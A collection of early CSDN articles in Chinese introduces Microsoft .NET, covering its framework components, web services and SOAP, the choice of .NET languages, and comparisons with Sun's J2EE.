    新一代的人机界面

    新一代人机界面主要体现在“智能与互动”两个方面。.NET包括通过自然语音、视觉、手写等多种模式的输入和表现方法；基于XML的可编辑复合信息架构——通用画布；个性化的信息代理服务；使机器能够更好地进行自动处理的智能标记等技术。


csdn_.NET真面目（下）

  NET真面目（下）
作者：葛声
    .NET的平台及框架是基于微软软件工业基础的又一次升级和演化。然而，.NET还是要尽力保证Windows系统及系列产品和.NET能够融为一体，尽量在微软公司原有的软件资产基础上，使.NET继续成为Internet的中心。

.NET有多少创新
    .NET主要组成部分及其作用介绍如下：

    1) Windows.NET

    Windows.NET是融入.NET技术的Windows，它将紧密地整合了.NET的一系列核心构造模块，为数字媒体及应用间协同工作提供支持，是微软公司的下一代Windows桌面平台。

    2) .NET Framework

    .NET Framework的目的是便于开发商更容易地建立网络应用程序和Web服务，它的关键特色是提供了一个多语言组件开发和执行的环境。从层次结构来看，.NET Framework又包括三个主要组成部分：通用语言运行环境(Common Language Runtime)、服务框架(Services Framework)、上层的两类应用模板——面向Web的网络应用程序模板（Web Forms或Web Services）和Windows应用程序模板（Win Forms）。

    其中通用语言运行环境在组件运行时，负责管理内存分配、启动和中止线程和进程、强化安全系数，同时还调整任何该组件涉及到的其他组件的附件配置。在通用语言运行环境上是服务框架，它为开发人员提供了一套能够被任何现代编程语言调用的、统一的面向对象、异步、层次结构的可扩展类库，包括集合、输入/输出、字符串、图画、网络、线程、全球化、安全加密、数据库访问、调试相关服务等类库。在服务框架之上是两种应用类型的模板，一类是传统的Windows应用程序模板，另一类是基于ASP+的Web网络应用程序模板。其中ASP+以一组控件和体系结构的方式提供了一个Web应用模型，由.NET框架提供的类库构建而成，通过它可以简化Web应用的实现过程。

    3) .NET企业服务器

    在微软宣称的“第三代互联网”中，.NET企业服务器是企业集成和管理所有基于Web的各种应用的基础，它提供企业未来开展电子商务的高可靠性、高性能、高可伸缩性以及高可管理性。.NET企业服务器的构成异常庞大而复杂，它共包括8个各司其职的服务器，如表所示。

    表：.net企业服务器功能简述

.net企业服务器 功能描述
application center 2000 部署和管理基于windows2000之上的web应用
biztalk server 2000 用于企业间交换商务信息
commerce server 2000 用于快速创建在线电子商务
exchange 2000 提供基于windows 2000的通信和协作功能
host integration server 2000 为主机系统的组件集成提供方便
internet security &&
acceleration server 2000 主要解决企业应用安全性和可管理性的问题
mobile information 2001 server 为移动解决方案提供可靠而具伸缩性的平台
sql server 2000 则提供完全的数据库和数据分析解决方案

    其中，目前被关注最多的是BizTalk Server 2000，它提供了企业间进行电子商务所需的自动、集成的业务处理工具和架构。BizTalk Server 2000利用XML作为企业内部及企业间文档传输的数据格式，可以屏蔽平台、操作系统不同的差异，使商业系统的集成成为可能。它主要完成的功能有：企业间可靠的文档交换、ERP应用集成、商业流程自动化定制、管理和监控等等。

    4) 模块构建服务

    模块构建服务（Building Block Services）是.NET平台中的核心网络服务集合，它主要包括以下几个组成部分：Internet XML通信，使Web站点变成灵活的服务来交换和处理数据；Internet XML数据空间，在Web商提供安全的和可编程的XML存储空间；Internet动态更新，为快速开发和动态配置应用提供服务；Internet日程安排，集成工作、社会和私人的日历；Internet身份认证，提供从口令、钱包到生理数据等多级身份认证手段，还有Internet 目录服务和Internet即时信息传递等服务。

    5) Orchestration

    Orchestration是一种基于XML的面向应用的软件集成和自动化处理技术。它的目标是尽量不受时间、组织、应用及个人的限制，来最大程度和最好地把集成技术和自动处理技术接合起来，以便商业事务能够交互、动态、可靠地进行下去。Orchestration有三个基本要求：处理与执行过程分离，即整个处理并不一定非要同执行的细节及途径绑定起来；动态处理，即随着数据不同及交换的变化，整个操作过程必须随时动态更新改变；“Any to Any”集成，即整个处理过程不能对参与的平台、应用及协议等作出限制。.NET的BizTalk Orchestration是上述技术的一个实现，它包括一个可视化的设计环境、一套捆绑的工具和一个Orchestration引擎，用于业务流程处理、管理和调试。

    6) Visual Studio.NET

    Visual Studio.NET是基于XML的编程工具和环境，它便于快速开发符合.NET体系的软件服务，使其在独立设备、企业数据中心和因特网之间的传送更加容易。

.NET与同类产品的比较
    针对.NET计划的推出，业界早已有多种说法，其中一个最重要的观点是.NET并没有发明什么先进的技术，而只是多家思想的拷贝和整合。从某种角度来看，这的确不无道理。下面我们就SUN的Java&&J2EE体系结构和.NET的框架作一简单的对比来看一看两者的相似性。

    图1 .NET Framework及其组成

    从图1和图2的对比中，我们可以看出，对于.NET框架的每一部分，Java&&J2EE 体系结构多少都有所表现，此外，.NET计划中的很多产品也能从其竞争对手，如SUN、ORACLE、IBM、HP的产品中发现一些相似痕迹。因此的确不能说.NET首创了多少多少创新，更合适的说法是它对很多公司的思想和自己的工业基础作了较好的整合，并有所创新。

    图2 Java&&J2EE 体系结构

    虽然如此，但微软的.NET计划及思想还是为整个信息产业和未来软件世界的发展提供了一个可供分析参考的标靶，因为技术本身很多是相互融和和渗透的，所有技术争论并不能决定未来，只有通过市场才能最后决定什么是真正的互联网未来。


csdn_开始 .Net的旅程（一）

  开始 .Net的旅程（一）
作者： 青苹果工作室
     目前我主要的兴趣是通过 web 提供分布式计算，从这个角度来看，我发现 .NET 有几个令人激动的思想，它们是：Web 服务、SOAP/XML 和 CLR (Common Language Runtime：通用语言运行环境)。

     Web 服务

     Web 服务可以看作由 XML 通过 HTTP 协议来调度的远程过程调用 (RPC)。我看 .NET 基本上就是一个创建、分配、使用、支持 Web 服务，并为它提供开发环境的框架。Web 服务许诺：每个应用程序都能以一个 Internet 上的服务出现。Web 服务将成为一个关键技术，因为它是基于每天都使用的、并且是经过检验的机制。

     HTTP 传输是一个制定得很好的通道，即使穿越企业的防火墙也能很好地工作。SSL 广泛地用来为 HTTP 提供安全性。任何语言、组件模型和操作系统都可以使用或提供 Web 服务。注意看看下一代 Visual Studio 工具，它们承诺可以更容易地创建 Web 服务。

     SOAP

     SOAP/XML 实际上是 Web 服务的生命线，它使用通用语言 XML 和协议 SOAP 来描述数据的含义。分布式计算的世界里充满了大量的事务和消息，当我们为此使用 COM/DCOM、CORBA 和 EJB 时，今天的 Web 应用程序很大程度上是依靠手工技巧的，或者使用复杂的机制在不同的技术阵营之间进行通讯。

     对于所有应用程序而言，SOAP 的确并非最佳解决办法。例如，如果你的应用程序之间需要紧密的同步耦合，总应该考虑像 COM 和 RMI 这样的技术。

     HTTP 并不是性能最佳的传输协议，而且 XML 也很冗长，因而会造成额外的传输负荷。有些情况下，需要在应用程序之间进行效率更高的纯二进制数据流传输。但是，如果你能将应用程序设计成通过松散的异步调用进行耦合的 Web 服务，那么就会产生易于集成的好处，这使得付出的代价非常值得。

     结果是：只要灵魂语言是 XML，使用服务的应用程序就不需要知道或关心服务的谱系。


csdn_开始 .Net的旅程（二）

  开始 .Net的旅程（二）
作者： 青苹果工作室
通用语言运行环境 (CLR)

     CLR 是一个技术规范，无论程序使用什么语言编写，只要能编译成中间语言 (IL)，就可以在它的支持下运行。这意味着在不久的将来，可以在 Windows 环境下运行传统的非 Windows 语言。无论各种语言迷们如何争论，没有人能够声称任何一种语言对所有用途都是最佳的工具。我们总是需要特定用途的语言。

     这是和基于 J2EE (Java 2 Enterprise Edition) 的解决方案相比，.NET 胜出的地方。J2EE/Java 功能强大，设计良好并被广泛使用。但在它表现出平台无关性时，.NET 更是独立于编程语言的。

     我希望使用 Windows 平台，但并不希望被拴在它上面。CLR 将是超越 Windows 平台的具有良好伸缩性的好手段。.NET 框架将提供强大的环境功能，例如内存和线程管理、自动垃圾收集、进程的建立和撤销，以及可控制的代码安全性。

     VisualStudio.NET 的目标是成为一个至少支持十几种语言的开放语言框架和开发环境，CLR 打算提供的通用库将允许从另一种语言来方便地调用和调试语言代码。CLR 的成功将取决于将它移植到其他平台的范围和移植的质量。

     各种迹象表明，.NET 框架羽翼丰满前，至少还需要一年的时间。.NET 可能是使 Microsoft 成功或失败的战略，但无论 Microsoft 能否交付 .NET，.NET 所依赖的基础和概念都是坚实的、永存的。

     将你的应用程序创建为具有松散耦合的 Web 服务吧，它们相互之间就可以使用开放语言通讯。如果事情像 Microsoft 计划的那样，.NET 的影响将会是深远的，并且是你不能错过的。


csdn_.Net将如何影响我们？（一）

  .Net将如何影响我们？（一）
作者： 青苹果工作室
如果找到了所要寻找的信息，那么这个信息也就没有吸引力了。Web 后面的核心思想就是文档不应该以层次结构提供，而是应该让读者能方便地找到和他们正在阅读页面的相关信息，因此，文档应该以交叉连接的方式出现。DotNet 正是让人们能将不同来源的数据组织并显示出来的最新尝试，它的方式是让人们能够根据客户端的需要来处理数据。

     .NET 是什么？

     Microsoft.NET (从前叫做NGWS：Next Generation Windows Services) 是 Microsoft 从以客户机为中心的模式转移到以网络为中心的模式的战略保护伞。Microsoft 花了一段时间才走到这一立场上来。在过去的十年里，Sun 已经在倡导“网络就是计算机”，而 Microsoft 只是在 1998 年才提出了它的第一个支持终端服务的操作系统。然而，一旦 Microsoft 最终意识到 Web 里确实有一些东西，它就立即接受了它。现在，Microsoft接受了基于 Web 的模式。

     这一战略的其它部分是宣布 Microsoft 在 Windows 2000 DataCenter 上的工作、宣布通过应用程序服务商 (ASP) 发放 Windows 应用程序许可的最终模型，以及在 Windows 2000 服务器操作系统的核心部分（包括终端服务）的决定。从前，Microsoft的名字总是出现在个人计算机周围的公司，但 .NET 概念的提出，使意义更为重大。

     .NET 分成三个部分。一个在服务器端，就是像 Windows DataCenter 这样的操作系统，这里 Microsoft 处于主机市场竞争者的位置。在中间，是 XML，以及用来从数据库或数据表中提供信息，以使开发者能通过 XML 调用他们的简单对象访问协议 (SOAP)。在客户端，是支持 XML 语法分析、从而根据赋予它的标记来显示信息的操作系统。

     Microsoft 为什么转移到以网络为中心的模式？

     以客户机为中心的桌面厂商为什么要转移到更多地以网络为中心的模式上来？按照 Steve Ballmer 的说法：这是用户所希望的！更进一步，这也是将来用户所希望的。在一个以服务器为中心的环境中分发应用程序减少了客户端的管理、简化了程序的更新和安装，并且会对移动计算环境提供更好的支持。对网络管理员来说，以客户机为中心的模型难于支持，而对家庭用户而言更是如此。要生存得更长久，以客户机为中心的计算将由基于服务器的模型进行补充。


csdn_.Net将如何影响我们？（二）

  .Net将如何影响我们？（二）
作者： 青苹果工作室
Microsoft .NET 将怎样影响我们做事的方式？

     眼前，还不会有什么影响。目前 .NET 是一个前景，而不是现实。然而，如果事情都像计划的那样，它将会对三类人有潜在的影响：用户、网络管理员和开发者。

     对于用户能得到的好处，Microsoft 有很多要说。.NET 应用程序倾向于提供一个统一的界面，以便用户可以从一个应用程序里浏览、编辑和创建文档。这个数据模型应该能使应用程序拥有能力查询不同来源的数据，并将其合并到一个可视文档里面。用户将能通过一个兼容的浏览器，从任何设备上访问他们的应用程序和个人设置。在咖啡店的角落里工作将和在家里工作一样 ;-)

     灵活的平台意味着用户的数据自动地根据他们的工作环境来进行调节：在桌面客户端和手持式 PC 的较小浏览器中，同样的数据将以不同的方式来显示。

     这一模式为网络管理员带来了什么？估计 .NET 应用程序会加载到他们自己的目录中，相互之间保持独立。这会产生两个效果。首先，遵从 Microsoft 所赞同的“共享数据而不是代码”的模型，“DLL陷阱”将被终结。从而，不同的应用程序可能以相同的名字覆盖助手库。 其次，估计应用程序将不去“惊动”注册表，从而解决了注册表“纹身”问题：即使反安装了应用程序，它还是在注册表里留下了配置信息。另外，.NET 应用程序将使用基于 Kerberos 认证的安全机制，以确保只有被授权的用户才能访问用户的数据。

     .NET 应用程序同时将是集中安装的，这减少了程序丢失时重新安装它们的客户端的管理工作。预计 .NET 应用程序还能监视它们自己的内存漏洞。在单用户环境里，内存漏洞是多么的糟糕。如果再转移到为很多人提供服务的、基于服务器的计算环境，它们将是致命的。

     .NET 与开发者

     对开发者而言，.NET 使他们应用自己最熟悉的语言创建应用程序，并从异种数据源查询信息成为可能。开发者将不必从 COM 对象到 DLL 的不同编程模式中换来换去，或者应付不同的调试工具，或者为 .NET 应用程序编写安装包。近期，开发者将能用他们希望使用的语言编写应用程序，创建应用程序需要的支持文件，并使它能运行。

     .NET 不会很快成熟。浏览器需要可靠的 XML 分析器，服务器需要将裸数据转换成 XML 的引擎。不是以 XML 格式化的数据将不能提供给应用程序。惯性将使大量现存的 Windows 应用程序很难在一夜之间就完全消失。直到 2001 年的某时，Whistler 系统完成之前，第一个部分支持 .NET 的客户端操作系统不会出现。并且，在 Blackcomb 系统上市之前不会完全实现。DataCenter 还将发挥很长一段时间的功效。

     一些开发者指出，作为优秀思想范例的 Java 并没有飞起来，但是 Microsoft 却不同，她拥有丰富的市场能量。他们虽然不是无往不胜的，但他们是优秀的。请记住：当 Windows 刚出现时，也没人需要它。


csdn_开发者面临的.Net挑战（一）

  开发者面临的.Net挑战（一）
作者： 青苹果工作室
电子商务的大潮已经袭来，这需要所有的软件都支持 Web。开发者们思考得更多的是如何把现有的应用程序放到 Web 上，如何为 Internet 开发出企业级的、高性能的以及可伸缩的应用程序。我们来看一看这些挑战，以及我们能做些什么吧！

     对基于 Web 的开发过程的充分理解是在 Internet 开发领域取得成功的关键。我们中有许多人听说过那些术语，像 ASP、Web 服务器、事务处理服务器和组件等等，但对它们的真正含义只有一个粗略的理解。像很多其他东西一样，一旦我们理解了它们是什么，事情就简单了。我们来看看一个基于 Web 的应用程序是如何区别于你现在所开发的应用程序的。

     Windows DNA

     在基于 Web 的开发模型中，应用程序是分布式的，也就是说：程序的一些部分运行在客户机上，一些在对象服务器上，另外一些在数据库服务器上。这种结构有很多优点，包括伸缩性、性能、易于配置和扩展，但是它们的有效性要依赖于正确的实现。一个特殊的平台脱颖而出：Microsoft Windows DNA。Windows DNA 的结构涉及到一个 Web 服务器 (Internet Information Server) 和一个事务处理服务器 (Microsoft Transaction Server)，以及其它几个产品和服务。这些服务器经常被单独地称为 IIS 和 MTS。

     这些东西共同形成了位于 Microsoft Windows 顶部的一个软件平台层，它们开放地紧密集成起来，并提供丰富的应用程序服务。MTS 同 Microsoft Windows 2000 下的强大服务结合在一起，形成了现在大家所知道的 COM+，即：MTS + COM = COM+。

     Windows DNA 结构使我们可以把精力集中在最需要的开发领域以满足业务需求，而不用对它的支撑层操心过多。Windows DNA 提供内部结构和服务方便地实现安全性、事务管理以及同已有系统的互操作性。采用 Windows DNA 结构意味着我们能够一步一步地开始使应用程序支持 Web，而不是从一无所有做起。通过支持最新的可扩展标记语言 XML 和简单对象访问协议 SOAP 技术，我们可以确信应用程序能够很好地工作于现在和未来。

     使用 Windows DNA 结构，我们能够建立可伸缩、可扩展的电子商务解决方案。但电子商务应用程序将如何与其它电子商务程序通讯？这些应用程序究竟在哪里运行？面对这些挑战，Microsoft 亮出了它的最新一代操作平台：Microsoft .NE


csdn_开发者面临的.Net挑战（二）

  开发者面临的.Net挑战（二）
作者： 青苹果工作室
进入 .NET

     通过打开不同的 Web 应用程序并把它们呈现为 Web 服务，Microsoft .NET 平台方便了它们之间的集成。通过支持开放的 Internet 协议，.NET 平台允许电子商务应用程序以及其它基于 Web 的应用程序间相互通讯、交换数据并实现了真正的 互操作性。Microsoft 还开发了一套企业级服务器 (共同称为 .NET Enterprise Server)，包括数据库服务器、商务到商务 (B2B) 管理服务器以及便于你加强 Web 站点安全性的服务器。

     当应用程序走上 Web 时，你的商业伙伴试图“连接”你时，到底会发生些什么呢？这些应用程序将如何通讯？你能开发一些专有的通讯协议，但那将费时费力，并且最终效果是不大的。而且，每增加一个新伙伴就意味着要创建或采用专有协议，这无疑增加了你的工作量，也增加了你的商业伙伴的工作量，同时减少了成功的机会。或者你可以选择 Windows DNA 结构和 .NET。这样做，你就会有一个认真的头脑来开始满足你每天所面对的、快速变化的需求。

     .NET 铺设了用户和应用程序能从 Internet 的力量中获得益处的道路。在 .NET 里，用户获得数据的能力（无论这些数据在何处）以及不同的应用程序共享和交换数据的能力成为可能并且现实。这是借助 XML 和 SOAP 实现的。这些技术可能会对全球电子商务市场中的应用程序的开发、配备和使用的方法产生革命性的推动。.NET 操作平台和开发工具套件以及服务器是按照实现这一前景，并方便基于 Web 的应用程序开发来设计的。

     转向基于 Web 的开发，看起来是大势所趋。也许这让人觉得无从下手，但它是可望亦可及的。你也许会发现咨询机构的服务是有益而值得的投资。请关注那些在帮助并与技术人员合作方面拥有丰富经验的咨询机构。浏览他们制作的网站，或看看他们基于 Web 开发的示例程序如何工作。

     一个具有丰富经验的组织会列出很多东西，而不仅仅是一个令人印象深刻的目录表。例如，一个可重复、可理解、可扩展的开发过程或方法，这个开发过程会使在 Microsoft .NET 平台上开发高端 Windows DNA 电子商务应用程序更方便。


csdn_开发者面临的.Net挑战（三）

  开发者面临的.Net挑战（三）
作者： 青苹果工作室
框架

     Windows DNA 和 .NET 平台确保 Web 应用程序能很好地工作、具有可伸缩性，并可以在其它 Web 应用程序和服务中访问。但如何真正开始应用程序的开发呢？从哪里开始呢？怎样能把应用程序的基础建立在很多开发努力的结果之上呢？如果你发现另外一些人已经完成了学习过程，你能收获他们劳动的果实，这不是一件很好的事吗？这样的基础经常被称作应用程序框架，但并不是所有的框架都是生而平等的。

     我们需要一个健壮的框架、一个经过检验的结构，它是开发人员开始的地方。程序员不需要实现规则和数据处理，他们需要的是开始组织应用程序。一个良好的框架就是要做到这些。拥有良好的程序模板的优势后，在对业务逻辑的实现上，程序员就能有更大的自由来进行创造和革新。

     我们讨论了基于 Web 的应用程序的机制、需要的服务器和把东西拼在一起的方法。从理论上讲事情已经很明确了，一旦硬件和软件到位，所需要的就是应用程序在它们上面运行。应用程序是相对容易的部分。作为一个开发者，一定做过不少交付应用程序的工作。开发人员和项目经理知道要实现的业务，并且知道他们可以编写 Web 应用程序来创造机会并提供一些帮助。

     虽然很多工具可以给我们一个开头，但经常遇到的简单问题是这些工具变得太快。它们使开发人员能在 Web 上运行应用程序，但实际的问题是，开发人员被迫在饼干切割机式的环境下开发哪些复杂且要求健壮的应用程序。他们被剥夺了创造性，却被要求“将 A 键插入 B 槽内”以便能交付应用程序。天知道在这样的环境下有几个程序员能越干越好？

     让我们来面对这个问题，技术革新让今天的开发者难于跟上。一旦落在后面，重新回到使用前沿技术开发软件的位置，就变得无比艰难。你曾经落伍吗？你是否觉得基于 Web 的开发正在离你越来越远？

     选择一个引人注目的、定义得很好的项目，选择一个经验丰富的咨询机构，然后走向 .NET。寻找提供可重复、经过检验的过程的咨询机构，一个在 .NET 操作平台上支持 Windows DNA 应用程序开发的机构。你的应用程序会和你一起成长，适应你的业务需求的变化，并且像你所需要的那样开放。


csdn_.NET语言的选择

  .NET语言的选择
.NET语言的选择

导 读：每个组织迁移到.NET将选择采用哪种.NET语言。微软提供了四种语言：C#, VB.NET, 可管理的C++和 JScript。本文简要的讨论了我们关于这些语言和哪种语言将被使用的看法。
--------------------------------------------------------------------------------
翻译整理：51dotnet.com（高飞家族）
原文出处：http://www.dotnetdan.com/articles/misc/LanguageChoice.htm

每个组织迁移到.NET将选择采用哪种.NET语言。微软提供了四种语言：C#, VB.NET, 可管理的C++和 JScript。本文简要的讨论了我们关于这些语言和哪种语言将被使用的看法。

简而言之，我们相信C#将占据主要的市场份额；JScript是没有竞争力的；C++将被忽视，VB.NET显现出对市场的准备不足。

失败者

JScript

我们希望JScript在很少用户的基础上结束它的使命。现在很少有关于这方面的资料而且在.NET论坛中也不大有关于JScript的内容。它已经不是主流了。不要在把钱投到这项技术上，放弃它才是最明智的。

可管理的C++

C++，即使它新的可管理的形式也将渐渐的被忽视。当越来越多的开发者趋向于语法清晰的语言，例如JScript, Java, VB.NET和C#, 使用C++ 的圈子越来越小。另一个C++ 面临的问题是他不能作为一种教学语言。无疑，尽管如此，有经验的C++开发者将继续使用它的能力，模板，多重代码的继承性和决定性的最终确定。其余的人都能轻松的应付。

胜利者们

在这里确切的说应该是胜利者。因为我们相信C# 是唯一的真正的胜利者。VB.NET处在尚无人支持的境地。

C#具有相当的优势

大多数专业的软件开发者，即使独立开发微软平台，如今也将采用一些Java语言中的形式。

Java相对于C++和VB6较有利。他去处了许多C++ 中的语法特性而没有丝毫降低它的功能（因此C++的开发者转向使用Java是非常容易的）。它在支持面向对象的工具方面要优于VB6。

Java以其清晰的面向对象的语法结构和巨大的类库在大多数主流的具有生产性的语言中占据了最高地位。正是由于这个原因，许多擅长面向对象技术的C++ 和 VB 开发者开始向Java转移。

C# 为那些原本不支持微软的人转向使用微软的开发工具提供了依据。实际上它和Java是一致的，只不过在它们的不同之处，C# 更显示出了它无可厚非的优越性。此外，它是一种ECMA标准的语言，因此它提供了跨越多平台的潜在能力。

严肃的讲，开发者想要微软的最有生产能力和主流的.NET语言，C# 是最明智的选择。

VB.NET孤立无助

还剩下VB.NET。我们仍旧对微软为什么仅仅使VB.NET成为一个更复杂的C# 而提出疑问。也许这两门语言的历史背景是知道这个转变的关键，但是我们要讨论的是技术方面的问题而不是市场的问题。

无疑，VB.NET已经成长到一个新的阶段。它现在已经成为了面向对象俱乐部中快速成长的一员。但是现在谁关心它呢？也许是一群对其不满的人和非面向对象的程序员，但他们将立刻得到它。随着C#的产生，VB.NET看上去更象是个过时的产品，而不是改进。

DecHand代码生成器能在VB.NET或C#中生成代码。如果你选择VB.NET选项，你会得到一个文件，它和C#实现同样功能，但却要比C#生成的文件大33% 左右。读某人用VB.NET编写的的代码时，冗长的语句会带来很多麻烦。当我们把这和前面所提到的原因结合起来时，我们只能希望有经验的面向对象的开发者应该喜欢C# 胜过VB.NET。

那么什么样的市场会丢掉VB.NET呢? 目前的市场却使软件公司仅使用VB来作为开发工具,并造就了一大批VB爱好者.不幸的是,说实在话VB.NET并不是为这些人所开发的。

从VB6移植

只用VB编写程序的工作间可能正期望从VB6更新到VB.NET，而且能象现有的VB升级一样容易。不幸的是，他们可能会遭到严酷的打击。尽管已经有一种工具可以自动完成操作过程，但升级到VB.NET仍然会累人的多。

正如我们上面提到的，VB.NET是一种面向对象的语言，而VB6不是。问题在于，如果你不按照面向对象的方式思考，而许多机构也正是这样做的，你就无法体会到VB.NET转换经历的乐趣。因为这不仅仅是一个结构，而是一种范例的转变，而这种转变是很昂贵的。很多组织可能会觉得如果他们想改变思维方式，他们不如改变语言。如果VB.NET被很快淘汰掉，也没什么可惊讶的。

过去曾经辉煌而如今孤寂的爱好者

最终的市场分割造就了爱好者。对他们而言，VB6是一种可选择的语言。它提供了简单而功能强大的工具来构建简单的应用程序包括GUIs。

VB.NET不是这么简单的。正像我们前面说过的那样，它是一种功能强大的面向对象的语言。但对于一般的爱好者来说，他们不想也不需要了解‘-isms’和面向对象领域中的抽象事务。他们只想把一项任务尽快完成，而忽略我们某些专业人士所要求的精细之处。

为此，过不了不久这些VB爱好者可能不会再继续使用VB6，或者他们对其不再报有太大的希望了。

VB.NET的未来

上述注解仅仅是公开发布的.NET BETA版信息的一小部分。当我们看到最终的.NET的产品距离现在还有相当一段长时间，微软会采用它们当中的一些去生产隐藏着VB.NET复杂性的Visual Studio.NET特性的产品。我们只能翘首以待。我们对此不能做什么，只能相信他们能作到，为了发展，让我们给微软以传统的爱护，这样他们就会更加努力的去做。

关于运行时间的执行

如果你看到这里与你所想的相差甚远，你可能会问“性能怎样？”，当你在决定用哪一种语言来更快的完成一项产品时，这是每一个人所自然而然所要问的。

 毫无疑问.NET完全排除了那些标准。

为了去理解为什么.NET 语言运行会一样快（或慢），我们需要去看一下编译程序，或正好是两个阶段的编译程序。

第一阶段发生在你用Visual Studio按Ctrl-Shift-B键时。在这一点上，执行一个编译，你的语言编译器正在创建中间语言（IL）。第二阶段发生在你运行了应用程序时。第二阶段有时被看作是JIT编译（我们会觉得奇怪，但是我们不能解释）。它为特别使用CPU而使用了IL和产生本土代码。

微软对第一阶段编译的IL而产生的代码并不乐观。相反，他们开始扩展他们所有的能力去优选第二阶段IL---本土代码编译。他们这样做是为了使语言的不可知的原因。所有的.NET语言在运行时间的执行上是一样的。

关于调试和编译者的支持

Visual Studio.NET提供了同样复杂的调试和编译者使用所有语言的工具。当在Managed C++译码时你不会看到更细节的东西，例如，与其他的语言相比。你可以达到你所希望达到的深度。同样，自动完成的方法也适用于其他语言。

总结

如果你想找到更安全的办法，那就使用C#。我们肯定现在VB.NET的功能如此强大，而且C#更是如此，选择它你不会后悔的，因为我们已经向你清晰地描述了它的生产性能。


csdn_且看微软的.Net和Sun公司的J2EE如何对垒

  且看微软的.Net和Sun公司的J2EE如何对垒
廖永康
即使你没有专门针对微软平台写过程序，你可能也会听到过微软的.Net。这是微软对最近一连串和非视窗事件竞争的回答。如果你读到过有关新闻、来自微软的撰稿、或者通过在MSDN端浏览得到的不完整的技术资料、或者你注意到了微软专家开发者会议(会上已经演示了.Net平台)的话，你可能至少还有两大疑问：

* 准确地讲.Net平台是什么？

* 如何将.Net的体系结构和J2EE对比？

如果你再深入一步的话，你可能还有第三个疑问活跃在你的脑海里：

* 从.Net的体系结构演绎出的一整套关于企业软件开发方案中我们能学到此什么？

.Net框架是其生命周期的十分早期阶段的产品，微软.Net部门还会不断地更深入和仔细地开发它，但是无论怎样，我们已经能够从已有的资料对这些问题作出公正的正确的回答。

它是什么？(.Net是什么？)

现在在众多的论坛中对.Net的反思，使人不禁联想起三个瞎子摸象的寓言；根据你的洞察力，可能得到非常不同的结论：有人认为.Net是微软下一代Visual Studio的开发环境；有人认为它只是一种新的编程语言(C#)；还有人为它是基于XML和SOAP的一种新的数据交换和报文的工作框架。实际上，.Net包含了这几部份内容，而且还会更多。

首先，让我们看一些具体的细节，浏览一下组成.Net平台的一系列技术构件：

l C#：是一种新写的描述(书)构件的语言，它将C、C++和Java的元素集成起来，并增加一些特点如：元数据标记、相关元素的开发。

l “公共语言运行时”：它以中间语言(IL)格式，运行字节代码，用一种语言写的代码和对象只要编译器是针对这种语言开发的，显然能够编译成IL运行时。

l 一组基本的可从“公共语言运行时”访问的构件(元件)，它可提供各种功能(如：连网功能、包容器功能等等)。

l ASP.NET：是新的ASP版本，支持将ASP编译成公共语言运行时功能(所以用任何语言写的ASP脚本，都能和IL捆绑在一起)。

l 视窗格式和Web格式：一种新的可从Visual Studio访问的UI构件框架。(用户接口=UI)。

l ADO：将XML和SLAP用于数据交换的新一代ADO数据访问构件(元件)。

.Net和J2EE如何比较？

正如我们所能看见的.Net平台，在其伞型结构下有一个技术矩阵(宝塔)。显然微软为了抓住视窗平台的开发商，正在将这些技术变成现有平台如J2EE和CORBA的代用品。但是怎样对它们进行逐项比较呢？一种方法就是将.Net和J2EE作成以下对比列表：

.Net J2EE 关键差异
C#编程语言 Java编程语言 C#和Java均来自C和C++，最显著的特 点(如垃圾收集层次结构的名字空间)在两 个方面。C#借用了JavaBeans的某些构件概念(特性属性、事件等)，并增加了 某些自己的概念(如元数据标志)，但将 这些特点合并成不同的语法。 Java以Java虚拟机方式运行在任何平台上，而C#在可预见的将来，仅运行在视 窗环境内。C#隐含地结合到IL公共语 言运行时中，(见后)，然后按合理的顺 序(JIT)运行。编译成的字节编码或者整个编译成的自然编码。Java代码按照Java 虚拟机字节代码方式运行，它由VM解 析或JIT编译，或者整个编译成自然代码。
.Net公共元件(填补“.Net 框架结构的SDK”) Java核心API 高层的.Net元件，包括支持用XML和SOAP 的分布式访问(见ADO.NET)。
ASP.NET页面(ASP.NET) Java服务器页面(JSP) ASP.NET使用Visual Basic、C# 可能还有一 别的语言作为代码段。通过公共语言运行 时全部编译成自然代码(与此相对应<相反> 是象APS那样，每次都解析执行)。JSP使 用Java代码(段或者JavaBeans参考)，或者 编译成Java字节代码(按需或批编译要根据 JSP实现系统来决定)。 .Net公共语言运行时允许以多种语言的代码 (程序)在视窗环境下使用一组共享的元件。 优先于.Net框架的所有元件(公共元件、ASP.NET等)。
IL公共语言运行时 Java虚拟机和CORBA IDL和ORB Java的虚拟机规程，允许Java字节代码， 在任何平台上按JVM方式运行。 CORBA允许多种语言的代码使用一组共享 的对象，在任何带有ORB的平台上运行， 并不是紧密地集成到J2EE框架内。 同样的Web元件(如基于JSP的文件)在标准 的Java平台上是没有的，某些专有的元件 只能通过Java IDE等得到。
视窗格式和Web格式 Java的飘移 通过MS Visual Studio的IDE而不是在本文 所说的IDE，支持视窗格式和Web格式的 RAD开发，在许多Java的IDE和工具中都 支持“飘移”(Swing)。
ADO.NET和基于SOAP的Web服务 JDBC、EJB、JMS和Java XML库(XML4J、JA-XP) ADO.NET建立在位于HTTP协议顶部的XML数据 交换的基础上(指在远程数据对象和多个应 用程序捆绑之间的数据交换)。一般说来， .Net的Web服务假定了SOAP发信模型。 而EJB、JDBC等将数据交换协议和开发者 处理权分离，不工作在HTTP、KMI/JRMP或 IIOP顶层。

该表的比较只抓住了表面现象，这里再总结一下.Net和J2EE的比较：

l 特点：.Net和J2EE都提供同样优秀的特点，尽管提供的方法不同。

l 可移植性(Portability)：.Net的核心只工作Windows环境下，但从理

论上讲可以支持以多种语言开发(只要这些语言的子集/超集已经定义 好，并为他们建立了IL编译器)。也就是说：SOAP的能力允许在其它平台上的元件(部件)和.Net元件进行数据报文交换。而.Net中的一些元素：象SOAP，其恢复和查找协议，作为公共部份提供构架的核心部件(IL运行时环境、ASP.NET内部的视窗格式和Web格式元件“合同”等)仍由微软掌握，微软只扮演整个.Net开发环境和运行时环境提供者的角色。其实早就有了来自开发者协会要求微软公开这些规程，但是这和微软的标准经验相违背。

另一方面，J2EE只要遵循Java VM(规则)和一组平台需要的服务就可以在任何平台上工作(EJB包容器、JMS服务等等)。所有这些定义了J2EE平台的规程，都已经公开发表，并提供公众阅读。因此，许多供应商也提供兼容产品和开发环境。但是J2EE是单语言平台，若用其它语言调用或访问对象，可能需要通过CORBA，但是CORBA支持并不是平台普遍存在的部分。

巨大的前景：

